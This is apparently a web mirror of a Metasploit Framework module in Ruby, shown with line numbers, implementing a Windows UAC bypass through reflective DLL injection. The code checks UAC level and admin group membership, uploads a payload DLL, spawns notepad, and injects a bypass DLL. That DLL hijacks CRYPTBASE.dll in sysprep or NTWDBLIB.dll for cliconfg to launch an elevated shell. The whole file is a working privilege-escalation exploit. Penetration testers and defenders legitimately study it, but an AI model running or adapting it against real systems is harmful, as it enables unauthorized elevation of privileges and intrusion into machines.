Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_injection.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Exploit::EXE
10
include Exploit::FileDropper
11
include Post::File
12
include Post::Windows::Priv
13
include Post::Windows::ReflectiveDLLInjection
14
include Post::Windows::Runas
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
21
'Description' => %q{
22
This module will bypass Windows UAC by utilizing the trusted publisher
23
certificate through process injection. It will spawn a second shell that
24
has the UAC flag turned off. This module uses the Reflective DLL Injection
25
technique to drop only the DLL payload binary instead of three separate
26
binaries in the standard technique. However, it requires the correct
27
architecture to be selected, (use x64 for SYSWOW64 systems also).
28
If specifying EXE::Custom your DLL should call ExitProcess() after starting
29
your payload in a separate process.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
34
'mitnick',
35
'mubix', # Port to local exploit
36
'Ben Campbell', # In memory technique
37
'Lesage', # Win8+ updates
38
'OJ Reeves' # Win 8+ updates
39
],
40
'Platform' => [ 'win' ],
41
'SessionTypes' => [ 'meterpreter' ],
42
'Targets' => [
43
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
44
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
45
],
46
'DefaultTarget' => 0,
47
'References' => [
48
['URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/'],
49
['URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html']
50
],
51
'DisclosureDate' => '2010-12-31',
52
'Compat' => {
53
'Meterpreter' => {
54
'Commands' => %w[
55
stdapi_railgun_api
56
stdapi_sys_process_attach
57
stdapi_sys_process_memory_allocate
58
stdapi_sys_process_memory_write
59
stdapi_sys_process_thread_create
60
]
61
}
62
},
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
end
71
72
def exploit
73
# Validate that we can actually do things before we bother
74
# doing any more work
75
validate_environment!
76
check_permissions!
77
78
# get all required environment variables in one shot instead. This
79
# is a better approach because we don't constantly make calls through
80
# the session to get the variables.
81
env_vars = get_envs('TEMP', 'WINDIR')
82
83
case get_uac_level
84
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
85
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
86
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
87
fail_with(Failure::NotVulnerable,
88
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
89
when UAC_DEFAULT
90
print_good('UAC is set to Default')
91
print_good('BypassUAC can bypass this setting, continuing...')
92
when UAC_NO_PROMPT
93
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
94
shell_execute_exe
95
return
96
end
97
98
dll_path = bypass_dll_path
99
payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
100
101
upload_payload_dll(payload_filepath)
102
103
pid = spawn_inject_proc(env_vars['WINDIR'])
104
105
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
106
run_injection(pid, dll_path, file_paths)
107
108
# Windows 7 this is cleared up by DLL but on Windows
109
# 8.1 it fails to delete the file.
110
register_file_for_cleanup(file_paths[:szElevDllFull])
111
end
112
113
def bypass_dll_path
114
# path to the bypassuac binary
115
path = ::File.join(Msf::Config.data_directory, 'post')
116
117
sysarch = sysinfo['Architecture']
118
if sysarch == ARCH_X64
119
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
120
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
121
end
122
elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
123
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
124
end
125
126
::File.join(path, "bypassuac-#{sysarch}.dll")
127
end
128
129
def check_permissions!
130
# Check if you are an admin
131
vprint_status('Checking admin status...')
132
admin_group = is_in_admin_group?
133
134
if admin_group.nil?
135
print_error('Either whoami is not there or failed to execute')
136
print_error('Continuing under assumption you already checked...')
137
elsif admin_group
138
print_good('Part of Administrators group! Continuing...')
139
else
140
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
141
end
142
143
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
144
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
145
end
146
end
147
148
def run_injection(pid, dll_path, file_paths)
149
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
150
begin
151
path_struct = create_struct(file_paths)
152
153
vprint_status("Opening process #{pid}")
154
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
155
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
156
157
vprint_status("Injecting struct into #{pid}")
158
struct_addr = host_process.memory.allocate(path_struct.length)
159
host_process.memory.write(struct_addr, path_struct)
160
161
vprint_status('Executing payload')
162
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
163
print_good("Successfully injected payload in to process: #{pid}")
164
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
165
rescue Rex::Post::Meterpreter::RequestError => e
166
print_error("Failed to Inject Payload to #{pid}!")
167
vprint_error(e.to_s)
168
end
169
end
170
171
# Create a process in the native architecture
172
def spawn_inject_proc(win_dir)
173
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
174
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
175
cmd = "#{win_dir}\\sysnative\\notepad.exe"
176
else
177
cmd = "#{win_dir}\\System32\\notepad.exe"
178
end
179
pid = cmd_exec_get_pid(cmd)
180
181
unless pid
182
fail_with(Failure::Unknown, 'Spawning Process failed...')
183
end
184
185
pid
186
end
187
188
def upload_payload_dll(payload_filepath)
189
payload = generate_payload_dll({ dll_exitprocess: true })
190
print_status('Uploading the Payload DLL to the filesystem...')
191
begin
192
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
193
write_file(payload_filepath, payload)
194
register_file_for_cleanup(payload_filepath)
195
rescue Rex::Post::Meterpreter::RequestError => e
196
fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
197
end
198
end
199
200
def validate_environment!
201
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
202
203
version_info = get_version_info
204
# According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md
205
if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8)
206
print_good("#{version_info.product_name} may be vulnerable.")
207
else
208
fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.")
209
end
210
211
if is_uac_enabled?
212
print_status('UAC is Enabled, checking level...')
213
else
214
unless is_in_admin_group?
215
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
216
end
217
end
218
end
219
220
def get_file_paths(win_path, payload_filepath)
221
paths = {}
222
223
version_info = get_version_info
224
if version_info.win7_or_2008r2?
225
paths[:szElevDll] = 'CRYPTBASE.dll'
226
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
227
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
228
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
229
else
230
paths[:szElevDll] = 'NTWDBLIB.dll'
231
paths[:szElevDir] = "#{win_path}\\System32"
232
# This should be fine to be left blank
233
paths[:szElevDirSysWow64] = ''
234
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
235
end
236
237
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
238
paths[:szTempDllPath] = payload_filepath
239
240
paths
241
end
242
243
# Creates the paths struct which contains all the required paths
244
# the dll needs to copy/execute etc.
245
def create_struct(paths)
246
# write each path to the structure in the order they
247
# are defined in the bypass uac binary.
248
struct = ''
249
struct << fill_struct_path(paths[:szElevDir])
250
struct << fill_struct_path(paths[:szElevDirSysWow64])
251
struct << fill_struct_path(paths[:szElevDll])
252
struct << fill_struct_path(paths[:szElevDllFull])
253
struct << fill_struct_path(paths[:szElevExeFull])
254
struct << fill_struct_path(paths[:szTempDllPath])
255
256
struct
257
end
258
259
def fill_struct_path(path)
260
path = Rex::Text.to_unicode(path)
261
path + "\x00" * (520 - path.length)
262
end
263
end
264
265